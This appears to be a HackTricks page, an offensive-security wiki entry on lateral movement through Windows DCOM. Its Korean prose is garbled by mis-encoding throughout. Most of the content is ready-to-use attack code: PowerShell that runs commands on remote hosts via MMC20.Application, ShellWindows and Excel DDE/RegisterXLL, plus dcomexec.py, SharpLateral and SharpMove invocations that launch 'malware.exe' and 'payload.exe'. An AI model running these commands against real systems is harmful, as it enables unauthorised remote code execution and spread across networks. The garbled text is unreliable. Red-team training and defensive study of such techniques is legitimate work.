DCOM Exec
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
MMC20.Application
์ด ๊ธฐ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/์ ์๋ณธ ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์.
Distributed Component Object Model (DCOM) ๊ฐ์ฒด๋ ๊ฐ์ฒด์์ ๋คํธ์ํฌ ๊ธฐ๋ฐ ์ํธ์์ฉ์ ์ํ ํฅ๋ฏธ๋ก์ด ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. Microsoft๋ DCOM ๋ฐ Component Object Model (COM)์ ๋ํ ํฌ๊ด์ ์ธ ๋ฌธ์๋ฅผ ์ ๊ณตํ๋ฉฐ, DCOM์ ๋ํ ๋ฌธ์๋ ์ฌ๊ธฐ์์, COM์ ๋ํ ๋ฌธ์๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค. DCOM ์ ํ๋ฆฌ์ผ์ด์ ๋ชฉ๋ก์ PowerShell ๋ช ๋ น์ ์ฌ์ฉํ์ฌ ๊ฒ์ํ ์ ์์ต๋๋ค:
Get-CimInstance Win32_DCOMApplication
COM ๊ฐ์ฒด์ธ MMC Application Class (MMC20.Application)๋ MMC ์ค๋
์ธ ์์
์ ์คํฌ๋ฆฝํ
์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ํนํ, ์ด ๊ฐ์ฒด๋ Document.ActiveView ์๋์ ExecuteShellCommand ๋ฉ์๋๋ฅผ ํฌํจํ๊ณ ์์ต๋๋ค. ์ด ๋ฉ์๋์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค. ์คํํด ๋ณด์ธ์:
์ด ๊ธฐ๋ฅ์ DCOM ์ ํ๋ฆฌ์ผ์ด์ ์ ํตํด ๋คํธ์ํฌ์์ ๋ช ๋ น์ ์คํํ๋ ๊ฒ์ ์ฉ์ดํ๊ฒ ํฉ๋๋ค. ๊ด๋ฆฌ์๋ก์ DCOM๊ณผ ์๊ฒฉ์ผ๋ก ์ํธ์์ฉํ๊ธฐ ์ํด PowerShell์ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํ ์ ์์ต๋๋ค:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
์ด ๋ช ๋ น์ DCOM ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฐ๊ฒฐํ๊ณ COM ๊ฐ์ฒด์ ์ธ์คํด์ค๋ฅผ ๋ฐํํฉ๋๋ค. ๊ทธ ๋ค์ ExecuteShellCommand ๋ฉ์๋๋ฅผ ํธ์ถํ์ฌ ์๊ฒฉ ํธ์คํธ์์ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ด ํ๋ก์ธ์ค๋ ๋ค์ ๋จ๊ณ๋ฅผ ํฌํจํฉ๋๋ค:
Check methods:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
RCE ์ป๊ธฐ:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
์ด ๊ธฐ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ ์๋ณธ ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์ https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
MMC20.Application ๊ฐ์ฒด๋ ๋ช ์์ ์ธ โLaunchPermissionsโ๊ฐ ๋ถ์กฑํ์ฌ ๊ธฐ๋ณธ์ ์ผ๋ก ๊ด๋ฆฌ์๊ฐ ์ ๊ทผํ ์ ์๋ ๊ถํ์ผ๋ก ์ค์ ๋์ด ์์์ ํ์ธํ์ต๋๋ค. ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ผ๋ฉฐ, ๋ช ์์ ์ธ Launch Permission์ด ์๋ ๊ฐ์ฒด๋ฅผ ํํฐ๋งํ๊ธฐ ์ํด @tiraniddo์ OleView .NET ์ฌ์ฉ์ ๊ถ์ฅํฉ๋๋ค.
๋ช
์์ ์ธ Launch Permissions๊ฐ ๋ถ์กฑํ ๋ ๊ฐ์ ํน์ ๊ฐ์ฒด์ธ ShellBrowserWindow์ ShellWindows๊ฐ ๊ฐ์กฐ๋์์ต๋๋ค. HKCR:\AppID\{guid} ์๋์ LaunchPermission ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ด ์๋ค๋ ๊ฒ์ ๋ช
์์ ์ธ ๊ถํ์ด ์์์ ์๋ฏธํฉ๋๋ค.
ShellWindows
ShellWindows๋ ProgID๊ฐ ์๊ธฐ ๋๋ฌธ์ .NET ๋ฉ์๋ Type.GetTypeFromCLSID์ Activator.CreateInstance๋ฅผ ์ฌ์ฉํ์ฌ AppID๋ฅผ ํตํด ๊ฐ์ฒด ์ธ์คํด์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ด ๊ณผ์ ์ OleView .NET์ ํ์ฉํ์ฌ ShellWindows์ CLSID๋ฅผ ๊ฒ์ํฉ๋๋ค. ์ธ์คํด์คํ๋ ํ์๋ WindowsShell.Item ๋ฉ์๋๋ฅผ ํตํด ์ํธ์์ฉ์ด ๊ฐ๋ฅํ๋ฉฐ, Document.Application.ShellExecute์ ๊ฐ์ ๋ฉ์๋ ํธ์ถ๋ก ์ด์ด์ง๋๋ค.
๊ฐ์ฒด๋ฅผ ์ธ์คํด์คํํ๊ณ ์๊ฒฉ์ผ๋ก ๋ช ๋ น์ ์คํํ๊ธฐ ์ํ PowerShell ๋ช ๋ น์ ์๊ฐ ์ ๊ณต๋์์ต๋๋ค:
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
Lateral Movement with Excel DCOM Objects
Lateral movement์ DCOM Excel ๊ฐ์ฒด๋ฅผ ์ด์ฉํ์ฌ ๋ฌ์ฑํ ์ ์์ต๋๋ค. ์์ธํ ์ ๋ณด๋ Cybereasonโs blog์์ DCOM์ ํตํ lateral movement๋ฅผ ์ํ Excel DDE ํ์ฉ์ ๋ํ ๋ ผ์๋ฅผ ์ฝ๋ ๊ฒ์ด ์ข์ต๋๋ค.
Empire ํ๋ก์ ํธ๋ DCOM ๊ฐ์ฒด๋ฅผ ์กฐ์ํ์ฌ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ ์ํด Excel์ ํ์ฉํ๋ PowerShell ์คํฌ๋ฆฝํธ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์๋๋ Empireโs GitHub repository์์ ์ ๊ณต๋๋ ์คํฌ๋ฆฝํธ์ ์ผ๋ถ๋ก, RCE๋ฅผ ์ํด Excel์ ์ ์ฉํ๋ ๋ค์ํ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Lateral Movement์ ์ํ ์๋ํ ๋๊ตฌ
์ด ๊ธฐ์ ์ ์๋ํํ๊ธฐ ์ํด ๋ ๊ฐ์ง ๋๊ตฌ๊ฐ ๊ฐ์กฐ๋ฉ๋๋ค:
-
Invoke-DCOM.ps1: ์๊ฒฉ ๋จธ์ ์์ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํ ๋ค์ํ ๋ฐฉ๋ฒ์ ํธ์ถ์ ๊ฐ์ํํ๋ Empire ํ๋ก์ ํธ์์ ์ ๊ณตํ๋ PowerShell ์คํฌ๋ฆฝํธ์ ๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ Empire GitHub ๋ฆฌํฌ์งํ ๋ฆฌ์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
-
SharpLateral: ์๊ฒฉ์ผ๋ก ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ค๊ณ๋ ๋๊ตฌ๋ก, ๋ค์ ๋ช ๋ น์ด์ ํจ๊ป ์ฌ์ฉํ ์ ์์ต๋๋ค:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
Automatic Tools
- The Powershell script Invoke-DCOM.ps1๋ ๋ค๋ฅธ ๋จธ์ ์์ ์ฝ๋๋ฅผ ์คํํ๋ ๋ชจ๋ ์ฃผ์ ์ฒ๋ฆฌ๋ ๋ฐฉ๋ฒ์ ์ฝ๊ฒ ํธ์ถํ ์ ์๊ฒ ํด์ค๋๋ค.
- Impacket์
dcomexec.py๋ฅผ ์ฌ์ฉํ์ฌ DCOM์ ํตํด ์๊ฒฉ ์์คํ ์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
- SharpLateral๋ ์ฌ์ฉํ ์ ์์ต๋๋ค:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
- ๋ํ SharpMove๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
References
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


